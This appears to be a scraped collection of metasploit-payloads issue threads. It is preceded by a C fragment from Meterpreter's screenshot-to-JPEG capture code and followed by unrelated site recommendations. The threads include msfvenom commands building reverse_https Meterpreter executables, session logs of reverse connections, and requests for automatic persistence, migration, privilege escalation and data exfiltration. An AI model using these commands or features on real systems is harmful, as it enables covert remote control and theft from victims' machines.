	memcpy(buf+sizeof(BITMAPFILEHEADER),(LPVOID) pbih, sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD));
	memcpy(buf+sizeof(BITMAPFILEHEADER)+ (sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD)),(LPSTR) hp, (int) cb);
	// Don't send it yet. Convert it to a JPEG.
	//packet_add_tlv_raw(resp, TLV_TYPE_DEV_SCREEN, buf, s);
    

	// JPEG conversion start here..'
	// buf is a pointer to a BMP in memory.
	
	/* Initialize JPEG parameters. 
     * Much of this may be overridden later.
     * We need to provide some value for jpeg_set_defaults() to work.
     */
cinfo.err = jpeg_std_error(&jerr);
	jpeg_create_compress(&cinfo);
    cinfo.in_color_space = JCS_RGB; /* arbitrary guess */
    jpeg_set_defaults(&cinfo);
src_mgr = jinit_read_bmp(&cinfo); //Returns a cjpeg_source_ptr but is really bmp_source_ptr...
src_mgr->input_buf = buf;  
	src_mgr->read_offset = 0;
    /* Read the input file header to obtain file size & colorspace. */
start_input_bmp(&cinfo, src_mgr);
  jpeg_default_colorspace(&cinfo);
	// TODO: accept options from the command line for grayscale and quality. 
/* Go GRAYSCALE */
//jpeg_set_colorspace(&cinfo, JCS_GRAYSCALE);
/* Quality */
	jpeg_set_quality(&cinfo, 50, FALSE);
// Write the compressed JPEG to memory: bug_jpeg
jpeg_mem_dest(&cinfo, &buf_jpeg, &buf_jpeg_size);
/* Start compressor */
    jpeg_start_compress(&cinfo, TRUE);
/* Process data */
	while (cinfo.next_scanline < cinfo.image_height) {
		num_scanlines = (*src_mgr->get_pixel_rows) (&cinfo, src_mgr);
		(void) jpeg_write_scanlines(&cinfo, src_mgr->buffer, num_scanlines);
	}
	/* Finish compression and release memory */
	(*src_mgr->finish_input) (&cinfo, src_mgr);
	jpeg_finish_compress(&cinfo);
	jpeg_destroy_compress(&cinfo);
	packet_add_tlv_raw(resp, TLV_TYPE_DEV_SCREEN, buf_jpeg, buf_jpeg_size);
	// Is it safe to free this right after pack_add_tlv_raw? 
	free(buf_jpeg);

	

Update instructions to get POSIX building on Fedora

The README currently says:

Fedora 21: yum install gcc jam make flex patch bison glibc-devel.i686 libgcc.i686

Even with these things installed I'm unable to build libm (which is just the second step).

$ make
Building libc
Building libm
Makefile:74: recipe for target '/home/oj/code/metasploit-payloads/c/meterpreter/source/bionic/compiled/libm.so' failed
make: *** [/home/oj/code/metasploit-payloads/c/meterpreter/source/bionic/compiled/libm.so] Error 2
$ tail build.log
s_sinf.o: In function `__kernel_sindf.localalias.0':
s_sinf.c:(.text+0x6d): multiple definition of `__kernel_sindf'
k_sinf.o:k_sinf.c:(.text+0x0): first defined here
s_tanf.o: In function `__kernel_tandf.localalias.0':
s_tanf.c:(.text+0x0): multiple definition of `__kernel_tandf'
k_tanf.o:k_tanf.c:(.text+0x0): first defined here
collect2: error: ld returned 1 exit status
Makefile.msf:225: recipe for target 'all' failed
make[1]: *** [all] Error 1
make[1]: Leaving directory '/home/oj/code/metasploit-payloads/c/meterpreter/source/bionic/libm'

I'm investigating now, but would love some insights from the legendary master of POSIX, @bcook-r7.

Implement proper "closing" on scheduler shutdown

At the moment when the scheduler shuts down, it destroys the waitable object and terminates the thread that is processing the waitable. However, it doesn't correctly close/cleanup any associated resources that may be bound to it.

The best example of this is channels. If a user creates, for example, a TCP server channel or a named pipe channel (coming soon), then terminates the session, the scheduler closes but doesn't inform each of those channels that closing is happening. Instead, the resources associated with all of the channels are left lying around.

For processes that are specifically for hosting Meterpreter, this isn't a problem, but as soon as we're doing anything interesting from inside another process, this does become a problem.

We need to modify the scheduler code so that freeing up of associated resources is done correctly.

Errno::ECONNRESET Connection reset by peer - SSL_accept

I used Metasploit to create a reverse tcp exe, I run the exe on the windows system and I see metasploit try and send the stage but then it says "Errno::ECONNRESET Connection reset by peer - SSL_accept"

msf exploit(handler) >
[*] Sending stage (957487 bytes) to X.X.X.X
[-] Errno::ECONNRESET Connection reset by peer - SSL_accept
Interrupt: use the 'exit' command to quit

Has anyone seen this before?

Thanks

Errors of androidpayload

Hi, I wanted to ask why after you copy the files / androidpayload / app / src / com / metasploit / stage / in order to put them in an app. But from those mistakes on android studio payload.java:

Error: (124, 13) error: can not find symbol variable PayloadTrustManager
Error: (81, 27) error: can not find symbol variable ConfigParser
Error: (81, 69) error: can not find symbol variable ConfigParser
Error: (79, 21) error: can not find symbol variable ConfigParser
Error: (77, 22) error: can not find symbol variable ConfigParser
Error: (75, 23) error: can not find symbol variable ConfigParser
Error: (74, 16) error: can not find symbol variable ConfigParser
Error: (73, 22) error: can not find symbol variable ConfigParser
Error: (73, 64) error: can not find symbol variable ConfigParser
Error: (72, 16) error: can not find symbol variable ConfigParser
Error: (71, 64) error: can not find symbol variable ConfigParser
Error: (71, 23) error: can not find symbol variable ConfigParser
Error: (69, 25) error: can not find symbol variable ConfigParser

What can I do?

Request: meterpreter python job control

Currently I can't see a way to control/run/manage multiple python jobs, which would be a great addition. This could for example be done with commands like python_jobs, following the convention of python_jobs -l, and python_jobs -k/K. Currently it appears that unfinished jobs can even bring down meterpreter, see:

#120

Additional Build In Payload Options

For each payload can you build in these additional options. Because it is very annoying when you get a successful exploit and you end up losing it after forgetting to do one of the below options.

  • Add automatic start up: with an enable or disable option
  • Add automatic migrate, to a selected process or to a default one: with an enable or disable option
  • Add automatic privilege escalation, by trying different methods to get the highest privilege level that it is possible for you to get on that device: with an enable or disable option

Make this gem act more like other gems

  • Move all the stuff in gem/ to the top level
  • Have the build steps for compiled payloads deposit artifacts in data/ instead of ../metasploit-framework/

The advantage is that we'd be able to modify framework's Gemfile to just point to the path of this repo and everything would Just Work ™️.

Request: meterpreter python requests library

Since none of the current http libraries are thread safe, and they can be cumbersome to use in some cases, the python requests library would be a great addition. This library is pretty popular and would allow thread safe comms for exfiltrating data etc.

Android meterpreter pretty noisy when the handler is inaccessible or down

It seems that that reverse_tcp/reverse_http/s doesn't seem to catch the exceptions when the handler is not listening, so you get backtraces in logcat constantly:

W/System.err( 3823): java.net.ConnectException: failed to connect to /192.168.0.1 (port 8443): connect failed: ECONNREFUSED (Connection refused)
W/System.err( 3823):    at libcore.io.IoBridge.connect(IoBridge.java:114)
W/System.err( 3823):    at java.net.PlainSocketImpl.connect(PlainSocketImpl.java:192)
W/System.err( 3823):    at java.net.PlainSocketImpl.connect(PlainSocketImpl.java:459)
W/System.err( 3823):    at java.net.Socket.connect(Socket.java:842)
W/System.err( 3823):    at libcore.net.http.HttpConnection.<init>(HttpConnection.java:76)
W/System.err( 3823):    at libcore.net.http.HttpConnection.<init>(HttpConnection.java:50)
W/System.err( 3823):    at libcore.net.http.HttpConnection$Address.connect(HttpConnection.java:340)
W/System.err( 3823):    at libcore.net.http.HttpConnectionPool.get(HttpConnectionPool.java:87)
W/System.err( 3823):    at libcore.net.http.HttpConnection.connect(HttpConnection.java:128)
W/System.err( 3823):    at libcore.net.http.HttpEngine.openSocketConnection(HttpEngine.java:316)
W/System.err( 3823):    at libcore.net.http.HttpsURLConnectionImpl$HttpsEngine.makeSslConnection(HttpsURLConnectionImpl.java:461)

Multiple LHOST and RHOSTS Support

Can you add the option to have multiple RHOST and LHOST options support for every payload, in case one of your metasploits server is unreachable for whatever reason.

Invalid meterpreter session when using encoder

I've run into the following situation, tested multiple times on multiple machines:

msfvenom -p windows/meterpreter/reverse_https -f exe -o test1.exe LHOST=xy

starting test1.exe results in a successful meterpreter session, I can do what I want, however:

msfvenom -p windows/meterpreter/reverse_https -f exe -o test2.exe -e x86/shikata_ga_nai LHOST=xy

test2.exe can connect back ([*] Meterpreter session 5 opened...) but does not accept any commands it and after 10-15 sec it drops with an invalidation error.

meterpreter > pwd
[-] Unknown command: pwd.
meterpreter > ls
[-] Unknown command: ls.
[-] Meterpreter session 5 is not valid and will be closed
[*] 127.0.0.1 - Meterpreter session 5 closed.

this only happens when using an encoder

segfault on transport switch (posix)

The port portion of the URL is getting lost on transport switch which causes a segfault on the client when it tries to dereference the pPort variable. After the first successful transport switch, transport list doesn't show a port in the URL, segfaults when user tries to switch back to that transport.

msf exploit(handler) > sessions

Active sessions
===============

  Id  Type                   Information                                                                  Connection
  --  ----                   -----------                                                                  ----------
  1   meterpreter x86/linux  uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000 @ rw          192.168.100.234:4444 -> 192.168.100.241:58346 (192.168.100.241)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > transport list
Session Expiry  : @ 2015-07-11 04:37:18

    Curr  URL                         Comms T/O  Retry Total  Retry Wait
    ----  ---                         ---------  -----------  ----------
    *     tcp://192.168.100.234:4444  300        3600         10

meterpreter > transport add -t reverse_tcp -l 192.168.100.234 -p 5555
[*] Adding new transport ...
[+] Successfully added reverse_tcp transport.
meterpreter > transport list
Session Expiry  : @ 2015-07-13 02:12:39

    Curr  URL                         Comms T/O  Retry Total  Retry Wait
    ----  ---                         ---------  -----------  ----------
    *     tcp://192.168.100.234:4444  300        3600         10
          tcp://192.168.100.234:5555  300        3600         10

meterpreter > transport next
[*] Changing to next transport ...

[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[+] Successfully changed to the next transport, killing current session.

[*] 192.168.100.241 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(handler) >
[*] Sending stage (1495598 bytes) to 192.168.100.241
[*] Meterpreter session 2 opened (192.168.100.234:5555 -> 192.168.100.241:56453) at 2015-07-09 20:20:16 -0400

msf exploit(handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > transport list
Session Expiry  : @ 2151-08-12 09:09:14

    Curr  URL                         Comms T/O  Retry Total  Retry Wait
    ----  ---                         ---------  -----------  ----------
    *     tcp://192.168.100.234       300        3600         10
          tcp://192.168.100.234:4444  300        3600         10

meterpreter > transport next
[*] Changing to next transport ...

[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[+] Successfully changed to the next transport, killing current session.

[*] 192.168.100.241 - Meterpreter session 2 closed.  Reason: User exit
msf exploit(handler) >
[*] Sending stage (1495598 bytes) to 192.168.100.241
[*] Meterpreter session 3 opened (192.168.100.234:4444 -> 192.168.100.241:58348) at 2015-07-09 20:20:33 -0400

msf exploit(handler) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > transport list
Session Expiry  : @ 2151-08-14 18:07:41

    Curr  URL                    Comms T/O  Retry Total  Retry Wait
    ----  ---                    ---------  -----------  ----------
    *     tcp://192.168.100.234  300        3600         10
          tcp://192.168.100.234  300        3600         10

meterpreter > transport next
[*] Changing to next transport ...
[+] Successfully changed to the next transport, killing current session.

[*] 192.168.100.241 - Meterpreter session 3 closed.  Reason: User exit

* meterp segfaults *

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.